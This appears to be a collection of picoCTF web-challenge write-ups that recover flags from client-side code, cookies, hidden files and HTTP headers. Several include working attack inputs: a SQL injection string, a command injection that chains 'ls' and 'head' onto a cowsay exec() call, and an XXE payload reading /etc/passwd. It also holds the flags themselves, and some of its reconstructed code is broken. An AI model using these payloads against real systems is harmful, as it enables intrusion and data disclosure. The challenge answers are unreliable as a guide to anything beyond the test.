The website prompts us with a "Secure Logon" that must be verified with valid credentials to proceed. We can see how the verify function works by looking at the source code.
function verify() {
checkpass = document.getElementById("pass").value;
split = 4;
if (checkpass.substring(0, split) == 'pico') {
if (checkpass.substring(split*6, split*7) == '723c') {
if (checkpass.substring(split, split*2) == 'CTF{') {
if (checkpass.substring(split*4, split*5) == 'ts_p') {
if (checkpass.substring(split*3, split*4) == 'lien') {
if (checkpass.substring(split*5, split*6) == 'lz_7') {
if (checkpass.substring(split*2, split*3) == 'no_c') {
if (checkpass.substring(split*7, split*8) == 'e}') {
alert("Password Verified")
}}}}}}}}
else { alert("Incorrect password"); }
If we put the substrings into the correct order, we get the string picoCTF{no_clients_plz_7723ce}
, which is the correct flag.
We are supposed to log into the Factory Page with the user Joe
. A simple, always true injection 1' or 1=1 #
gives us access to an internal page, but we can't use it to log on as Joe. Thankfully, the correct login attempt generated some cookies we can abuse.
If we change the value of the username to Joe
and the value of admin to True
we can access the site as Joe and retrieve the flag picoCTF{th3_c0nsp1r4cy_l1v3s_6edb3f5f}
The first part of the flag can be found in the HTML Source code <!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
, the second part in the CSS /* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */
and the last part in the JS /* JavaScript sure is neat. Anyways part 3/3 of the flag: _lucky?f10be399} */
As the challenge name suggests, the website has a robots.txt
file that instructs web robots (typically search engine robots) how to crawl the page. It disallows /8028f.html
which contains the flag picoCTF{ca1cu1at1ng_Mach1n3s_8028f}
When accessing the site, we are promoted with a login page. With the browser developer tools, we can look at the JS code behind it.
(async() => {
await new Promise((e => window.addEventListener("load", e))), document.querySelector("form").addEventListener("submit", (e => {
e.preventDefault();
const r = {
u: "input[name=username]",
p: "input[name=password]"
},
t = {};
for (const e in r) t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
}))
})();
Seems like the password cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ is the flag. When decoded from Base64 with CyberChef we get the flag picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
We get a website capable of changing colors when a button is pressed. When we look into the Networkanalyzer, we can see that the website changes to blue if the request is a PUT
and to red if it is a GET
. When we try through all the different request methods, HEAD
gives us the flag picoCTF{r3j3ct_th3_du4l1ty_775f2530}
.
We can find the first part in the HTML
<!-- Here's the first part of the flag: picoCTF{t -->
and the second part in the CSS
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
. The JS file states /* How can I keep Google from indexing my website? */
which gives us the hint that the third part is in
robots.txt
Part 3: t_0f_pl4c I think this is an apache server... can you Access the next flag?
. The fourth part is under \.htaccess
and reads Part 4: 3s_2_lO0k I love making websites on my Mac, I can Store a lot of information there.
. The last piece is stored in the /.DS_Store
file and has the last part of the flag Congrats! You completed the scavenger hunt. Part 5: _35844447}
The website has a WebAssembly file that holds the flag at the end picoCTF{a8bae10f4d9544110222c2d639dc6de6}
If we look at the index.js we can see that a program is executed with the parameter message exec('/usr/games/cowsay ${req.params.message}'
. Since exec() works just like a terminal, we can just chain another command at the end. With https://caas.mars.picoctf.net/cowsay/a;ls
we can see that the flag is in a file called falg.txt
. The command https://caas.mars.picoctf.net/cowsay/a;%20head%20falg.txt
prints the file content onto the screen.
We just need to change the User-Agent to picobrowser
and request the flag picoCTF{p1c0_s3cr3t_ag3nt_51414fa7}
.
The JS code for the login can be found in the source code. After a bit of deobfuscation, we get this piece of code that gives us the flag.
var a = ["0a029}", "_again_5", "this", "Password Verified", "Incorrect password", "getElementById", "value", "substring", "picoCTF{", "not_this"];
#Shifts Array 5 times
(function (d, e) {
var b = function (f) {
while (--f) {
d.push(d.shift());}};
b(++e);
}(a, 435));
var c = function (g, h) {
g = g - 0;
var i = a[g];
return i;};
function verify() {
checkpass = document[c(getElementById)]("pass")[value];
split = 4;
#picoCTF{not_this_again_50a029}
if (checkpass[substring](0, 8) == picoCTF{) {
if (checkpass[substring)](7, 9) == "{n") {
if (checkpass[substring)](8, 16) == "not_this") {
if (checkpass[substring)](3, 6) == "oCT") {
if (checkpass[substring)](32, 64) == 0a029}) {
if (checkpass.substring(6, 11) == "F{not") {
if (checkpass[substring](16, 32) == _again_5) {
if (checkpass[substring](12, 16) == this) {
alert(Password Verified); }}}}}}}
} else {
alert(Incorrect password);}}
The task states that the flag can be obtained by submitting two different PDF files with the same MD5 hash value. Corkami provides files with hash collisions on his Github.
<?php
if (isset($_POST["submit"])) {
$type1 = $_FILES["file1"]["type"];
$type2 = $_FILES["file2"]["type"];
$size1 = $_FILES["file1"]["size"];
$size2 = $_FILES["file2"]["size"];
$SIZE_LIMIT = 18 * 1024;
if (($size1 < $SIZE_LIMIT) && ($size2 < $SIZE_LIMIT)) {
if (($type1 == "application/pdf") && ($type2 == "application/pdf")) {
$contents1 = file_get_contents($_FILES["file1"]["tmp_name"]);
$contents2 = file_get_contents($_FILES["file2"]["tmp_name"]);
if ($contents1 != $contents2) {
if (md5_file($_FILES["file1"]["tmp_name"]) == md5_file($_FILES["file2"]["tmp_name"])) {
highlight_file("index.php");
die();
} else {
echo "MD5 hashes do not match!";
die();
}
} else {
echo "Files are not different!";
die();
}
} else {
echo "Not a PDF!";
die();
}
} else {
echo "File too large!";
die();
}
}
// FLAG: picoCTF{c0ngr4ts_u_r_1nv1t3d_5c8c5ce2}
To solve the task, several modifications must be made to the HTTP request using the browser or Burp. If you modify the request as shown below, you will receive the flag
\\ Request
GET / HTTP/1.1
Host: mercury.picoctf.net:36622
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: PicoBrowser
Referer: mercury.picoctf.net:36622
Date: Thu, 31 May 2018 20:35:00 GMT
Accept-Language: sv-sv
X-Forwarded-For: 102.177.146.3
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
\\ Response
<div class="container">
<div class="jumbotron">
<p class="lead"></p>
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<h3 style="color:green">What can I say except, you are welcome</h3>
</div>
</div>
<br/>
<b>picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_0da16bb2}</b>
</div>
The first part of the flag can be found in style.css, the second in the externally loaded script.js. The CSS file can be found in the
of the website and the JS file using the debugger.The flag is in a comment in the source code.
The website verifies the user login on the client side using a script called secure.js which contains the function checkPassword(). The password used for admin login is specified in the IF statment. After successfully logging in with the found login data, the flag picoCTF{j5_15_7r4n5p4r3n7_b0c2c9cb}
is displayed.
The website contains two JS files which are used to query the details on the server and display the data. The xmlDetailsCheckPayload.js file is particularly interesting to find the format of the payload. A valid query looks like this.
<?xml version="1.0" encoding="UTF-8"?>
<data><ID>1</ID></data>
Apparently no security measures such as input sanitization have been taken, so we can try a XEE file disclosure. The XML structure Entity is used, which acts as a storage unit. The entity can access local or remote data using a passed URI. The XML processor then replaces all mentions of the entity with the data defined by the URI.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<data><ID>&ent;</ID></data>